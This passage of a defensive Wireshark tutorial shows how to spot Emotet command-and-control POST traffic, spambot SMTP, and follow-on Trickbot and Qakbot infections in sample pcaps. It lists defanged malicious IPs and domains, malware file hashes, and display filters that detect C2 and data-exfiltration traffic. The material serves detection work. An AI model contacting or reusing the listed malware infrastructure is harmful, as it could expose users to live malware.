Figure 10. Exporting the Emotet DLL from our first pcap.

The SHA256 hash for this extracted DLL is:

8e37a82ff94c03a5be3f9dd76b9dfc335a0f70efc0d8fd3dca9ca34dd287de1b

Emotet C2 traffic is encoded data sent using HTTP POST requests. You can easily find these requests in Wireshark using the following filter:

http.request.method eq POST

The results are shown in Figure 11.

Figure 11. Filtering for HTTP POST requests in our first pcap.
Figure 11. Filtering for HTTP POST requests in our first pcap.

In our first pcap, Emotet C2 traffic consists of HTTP POST requests to:

  • 5.2.136[.]90 over TCP port 80
  • 167.71.4[.]0 over TCP port 8080

Emotet generates two types of HTTP POST requests for its C2 traffic. The first type of POST request ends with HTTP/1.1. The second type of POST request ends with HTTP/1.1 (application/x-www-form-urlencoded).

Follow the TCP stream for the initial HTTP request to 5.2.136[.]90 at 16:42:34 UTC to see an example of the first type of C2 POST request, as shown in Figure 12.

Figure 12. The first type of HTTP POST request for Emotet C2 traffic.
Figure 12. The first type of HTTP POST request for Emotet C2 traffic.

Figure 12 shows this POST request sends approximately 6 KB of form-data that appears to be an encoded or encrypted binary. Scroll down to the HTTP response to see encoded data returned from the server. Figure 13 shows the start of this encoded data.

Figure 13. Encoded data returned from the server in response to the HTTP POST request.
Figure 13. Encoded data returned from the server in response to the HTTP POST request.

This type of encoded or encrypted data is how Emotet botnet servers exchange data with an infected Windows host. This is also the channel Emotet uses to update the Emotet DLL and drop follow-up malware.

The second type of HTTP POST request for Emotet C2 traffic looks noticeably different than the first type. Use the following filter in Wireshark to easily find the second type of HTTP POST request:

urlencoded-form

This should return two HTTP POST requests to 167.71.4[.]0 over TCP port 8080, as shown in Figure 14.

Figure 14. Filtering for the second type of HTTP POST request in Emotet C2 traffic.
Figure 14. Filtering for the second type of HTTP POST request in Emotet C2 traffic.

Follow the TCP stream for the first of these two HTTP POST requests at 16:58:43 UTC. Review the traffic. The results are shown in Figure 15.

Figure 15. TCP stream for the second type of HTTP POST request in Emotet C2 traffic.
Figure 15. TCP stream for the second type of HTTP POST request in Emotet C2 traffic.

As shown in Figure 15, some of the data sent in the POST request is encoded as a base64 string with some URL encoding. For example, %2B is used for a + symbol, %2F represents / and %3D is used for =.

Data sent in response from the server is encoded or otherwise encrypted.

Our first pcap has no follow-up malware or other significant activity.

The only other activity is repeated connection attempts to 46.101.230[.]194 over TCP port 443. You can easily spot this activity by filtering on TCP SYN segments that are retransmissions. Use the following Wireshark filter:

tcp.analysis.retransmission and tcp.flags eq 0x0002

The results are shown in Figure 16.

Figure 16. Filtering on retransmissions of TCP SYN segments in Wireshark.
Figure 16. Filtering on retransmissions of TCP SYN segments in Wireshark.

An Internet search on 46.101.230[.]194 should reveal this IP address has been used for Emotet C2 activity.

The remaining traffic in the pcap is system traffic generated by a Microsoft Windows 10 host.

In our next pcap, we examine an Emotet infection with spambot activity.

Example 2: Emotet With Spambot Traffic, Part 1

Open Example-2-2021-01-05-Emotet-with-spambot-traffic-part-1.pcap in Wireshark and use a basic web filter, as shown in Figure 17.

Figure 17. Traffic from the second pcap filtered in Wireshark using our basic web filter.
Figure 17. Traffic from the second pcap filtered in Wireshark using our basic web filter.

Similar to our first example, we receive some HTTP GET requests before Emotet C2 traffic. These GET requests are attempts to download the initial Emotet DLL over web traffic. The first frame in the column display shows HTTPS traffic to obob[.]tv, which was probably a web request for the initial Emotet DLL, because this domain was reported as hosting an Emotet binary on Jan. 5, 2021, the same date as the traffic in our pcap.

Follow the TCP stream for the HTTP GET request to miprimercamino[.]com to confirm it returned an Emotet DLL. You should see indicators similar to Figure 9 from our first pcap. We can export the Emotet DLL returned from miprimercamino[.]com, as shown in Figure 18.

Figure 18. Exporting the Emotet DLL from the pcap.
Figure 18. Exporting the Emotet DLL from the pcap.

The SHA256 hash for the extracted DLL from our second pcap is:

963b00584d8d63ea84585f7457e6ddcac9eda54428a432f388a1ffee21137316

Again, we find two types of HTTP POST requests for Emotet C2 traffic. To filter for each type of Emotet C2 HTTP POST request, use the following Wireshark filters:

  • First type: http.request method eq POST and !(urlencoded-form)
  • Second type: urlencoded-form

Follow TCP streams for the HTTP POST requests returned by these filters and confirm they follow the same patterns seen in our first pcap.

After reviewing some examples of Emotet C2 traffic from this pcap, let’s move on to the spambot activity.

In this example, our infected host was turned into a spambot, so we also have SMTP traffic. The spambot SMTP traffic is encrypted, but we can easily find it by using our basic web filter and scrolling down the column display.

At 20:06:20 UTC, the pcap starts showing SSL/TLS traffic to TCP ports associated with the SMTP email protocol, like TCP ports 25, 465 and 587, as shown in Figure 19.

Figure 19. Using the basic web filter and scrolling through the column display to find spambot traffic.
Figure 19. Using the basic web filter and scrolling through the column display to find spambot traffic.

We can filter on smtp to find some of the SMTP commands before encrypted SMTP tunnels are established. Figure 20 shows the results.

Figure 20. Filtering for SMTP traffic in our second pcap.
Figure 20. Filtering for SMTP traffic in our second pcap.

We can sometimes find unencrypted SMTP from spambot traffic generated by an Emotet-infected Windows host. Unencrypted SMTP will reveal its message content, but the volume of encrypted SMTP from a spambot host is far greater than the volume of unencrypted SMTP. Therefore, most of the spambot messages from an Emotet-infected host are hidden within the encrypted traffic.

In this example, you should only see encrypted SMTP traffic.

But our next example is later from this same infection, when we finally saw some unencrypted SMTP.

Example 3: Emotet With Spambot Traffic, Part 2

Open Example-3-2021-01-05-Emotet-with-spambot-traffic-part-2.pcap in Wireshark and use a basic web filter, as shown in Figure 21.

Figure 21. Traffic from the third pcap filtered in Wireshark using our basic web filter.
Figure 21. Traffic from the third pcap filtered in Wireshark using our basic web filter.

In this pcap, we still see HTTP POST requests for Emotet C2 traffic, at least twice each minute. We can also find encrypted spambot activity similar to our previous pcap.

Spambot activity frequently generates a large amount of traffic. This pcap consists of 4 minutes and 42 seconds of spambot activity from the infected Windows host, and it’s over 21 MB of traffic.

We can quickly identify any unencrypted SMTP traffic by using the following Wireshark filter:

smtp.data.fragment

Figure 22 shows the results of this filter for our third pcap. The filter reveals five examples of Emotet malspam generated by the infected Windows host.

Figure 22. Filtering for indicators of unencrypted SMTP from spambot traffic.
Figure 22. Filtering for indicators of unencrypted SMTP from spambot traffic.

Follow the TCP stream for the last email from: "Gladisbel Miranda at 20:19:54 UTC. Examine what these messages look like, as shown in Figure 23.

Figure 23. TCP stream for an example of Emotet malspam from our third pcap.
Figure 23. TCP stream for an example of Emotet malspam from our third pcap.

We can export these five items of Emotet malspam by using the menu path File --> Export Objects --> IMF, as shown in Figure 24.

Figure 24. Exporting Emotet malspam from our third pcap.
Figure 24. Exporting Emotet malspam from our third pcap.

Export these emails and examine them. Ideally, we recommend doing this in a non-Windows environment. Thunderbird is a free email client you can use to see how a potential victim might view these emails.

As mentioned earlier, Emotet is also a malware downloader. Perhaps the most common malware distributed through Emotet is Trickbot.

Example 4: Emotet Infection with Trickbot

Open Example-4-2021-01-05-Emotet-infection-with-Trickbot.pcap in Wireshark and use a basic web filter, as shown in Figure 25.

Figure 25. Traffic from the fourth pcap filtered in Wireshark using our basic web filter.
Figure 25. Traffic from the fourth pcap filtered in Wireshark using our basic web filter.

This pcap does not have an HTTP GET request for an initial Emotet DLL. However, the first frame in our column display shows HTTPS traffic to fathekarim[.]com. This was probably a web request for the Emotet DLL, because this domain was reported as hosting an Emotet binary on Jan. 5, 2021, the same date as the traffic in our pcap.

You should find the same two types of HTTP POST requests associated with Emotet C2, as described in our previous two pcaps.

This pcap also contains indicators of a Trickbot infection. Use your basic web filter and scroll down to find Trickbot traffic, as shown in Figure 26.

Figure 26. Scrolling down the column display to find Trickbot indicators in our fourth pcap using a basic web filter.
Figure 26. Scrolling down the column display to find Trickbot indicators in our fourth pcap using a basic web filter.

We’ve reviewed Trickbot in our previous Wireshark tutorial on examining Trickbot infections, but here is a quick refresher. The following are common indicators for Trickbot:

  • HTTPS traffic over TCP ports 447 or 449 without an associated domain or hostname.
  • HTTP POST requests over standard or non-standard TCP ports for HTTP traffic that end with /81/, /83/ or /90, which are associated with data exfiltration.
  • With Trickbot from Emotet infections, the above HTTP POST requests start with /mor followed by a number (only one or two digits seen so far).
  • HTTP GET requests for URLs that end in .png that return additional Trickbot binaries.

We can easily find these indicators using the following Wireshark filters:

  • tls.handshake.type eq 1 and (tcp.port eq 447 or tcp.port eq 449)
  • (http.request.uri contains /81 or http.request.uri contains /83 or http.request.uri contains /90) and http.request.uri contains mor
  • http.request.uri contains .png

Figures 27-29 show the results from each of the above filters.

Figure 27.: Filtering for Trickbot HTTPS traffic over TCP port 447 or TCP port 449.
Figure 27.: Filtering for Trickbot HTTPS traffic over TCP port 447 or TCP port 449.
Figure 28. Filtering for HTTP POST requests associated with Trickbot data exfiltration.
Figure 28. Filtering for HTTP POST requests associated with Trickbot data exfiltration.

Follow TCP streams for each of the HTTP POST requests shown in Figure 28 to see if any password data was exfiltrated. The last HTTP POST request ending with /90 contains data about the infected Windows host and its environment.

Figure 29. Filtering for HTTP GET requests ending in .png associated with additional Trickbot binaries.
Figure 29. Filtering for HTTP GET requests ending in .png associated with additional Trickbot binaries.

Follow TCP streams for each of the HTTP POST requests shown in Figure 29 to see if any Windows binaries were returned. Doing so should reveal two Windows executable files. You can then export these binaries from the pcap using File --> Export Objects --> HTTP, as discussed in our previous examples.

SHA256 hashes for these two Windows binaries (both EXE files) are:

  • 59e1711d6e4323da2dc22cdee30ba8876def991f6e476f29a0d3f983368ab461 for mingup.png
  • ed8dea5381a7f6c78108a04344dc73d5669690b7ecfe6e44b2c61687a2306785 for saved.png

Trickbot is the most common malware distributed by Emotet, but it is not the only one. Qakbot is another type of malware frequently dropped on Emotet-infected Windows hosts.

Example 5: Emotet Infection With Qakbot

Open Example-5-2020-08-18-Emotet-infection-with-Qakbot.pcap in Wireshark and use a basic web filter, as shown in Figure 30.

Figure 30. Traffic from the fifth pcap filtered in Wireshark using our basic web filter.
Figure 30. Traffic from the fifth pcap filtered in Wireshark using our basic web filter.

In our fifth pcap, an Emotet Word document was retrieved from saketpranamam.mysquare[.]in at 21:23:50 UTC, which matches a URL reported as hosting an Emotet Word document on the same date. Export this Word document from the pcap using File --> Export Objects --> HTTP, as discussed in our previous examples.

The SHA256 hash for this extracted Word document is:

  • c7f429dde8986a1b2fc51a9b3f4a78a92311677a01790682120ab603fd3c2fcb

We also see HTTPS traffic to samaritantec[.]com at 21:24:40 UTC. This domain was reported as hosting an Emotet binary on the same date.

As in our previous examples, you should find the same two types of HTTP POST requests associated with Emotet C2 traffic.

Additionally, this pcap contains indicators of a Qakbot infection. Use your basic web filter and scroll down to find Qakbot traffic, as shown in Figure 31.

Figure 31. Scrolling down the column display to find Qakbot indicators in our fifth pcap using a basic web filter.
Figure 31. Scrolling down the column display to find Qakbot indicators in our fifth pcap using a basic web filter.

We’ve reviewed Qakbot in our previous Wireshark tutorial on examining Qakbot infections, but here is a quick refresher. The following are common indicators for Qakbot:

  • HTTPS traffic over standard and non-standard TCP ports for HTTPS.
  • Certificate data for Qakbot HTTPS traffic has unusual values for the issuer fields, and the certificate is not issued by an authority based in the United States.
  • TCP traffic over TCP port 65400.
  • Prior to late November 2020, Qakbot commonly generated HTTPS traffic to cdn.speedof[.]me.
  • Prior to late November 2020, Qakbot commonly generated HTTP GET requests to a.strandsglobal[.]com.

We can easily find these indicators by using the following Wireshark filters:

  • tls.handshake.type eq 11 and !(x509sat.CountryName == US)
  • tcp.port eq 65400
  • tls.handshake.extensions_server_name contains speedof
  • http.host contains strandsglobal

Figures 32-35 show the results from each of the above filters.

Figure 32. Filtering and searching for unusual certificate issuer data in HTTPS traffic generated by Qakbot.
Figure 32. Filtering and searching for unusual certificate issuer data in HTTPS traffic generated by Qakbot.

In Figure 32, the results of our first filter show several frames in the column display for traffic from 71.80.66[.]107. Search through the frame details and find unusual certificate issuer data, as shown above.

Figure 33. Filtering for Qakbot traffic over TCP port 65400.
Figure 33. Filtering for Qakbot traffic over TCP port 65400.

In the above image, we find a single TCP stream of Qakbot traffic over TCP port 65400. This stream contains the public IP address and a botnet identification string for the Qakbot-infected Windows host.

Figure 34. Filtering for traffic to cdn.speedof[.]me, which is not inherently malicious, but a connectivity check caused by Qakbot prior to late November 2020.
Figure 34. Filtering for traffic to cdn.speedof[.]me, which is not inherently malicious, but a connectivity check caused by Qakbot prior to late November 2020.
Figure 35. Filtering for traffic to a.stransglobal[.]com, typically generated by Qakbot prior to late November 2020.
Figure 35. Filtering for traffic to a.stransglobal[.]com, typically generated by Qakbot prior to late November 2020.
While Emotet has commonly dropped Trickbot and Qakbot, be aware that Emotet has also dropped other types of malware such as Gootkit and IcedID.

Conclusion

This tutorial reviewed how to identify Emotet activity from pcaps of its infection traffic. We reviewed five recent pcaps and found similarities in HTTP POST requests caused by Emotet C2 traffic. The patterns are fairly unique and can be used to identify an Emotet infection within your network. We also reviewed other post-infection activities associated with Emotet, such as spambot traffic and different families of malware dropped on an infected host.

This knowledge can help security professionals better detect and catch an Emotet infection when reviewing suspicious network activity.

For more help with Wireshark, see our previous tutorials: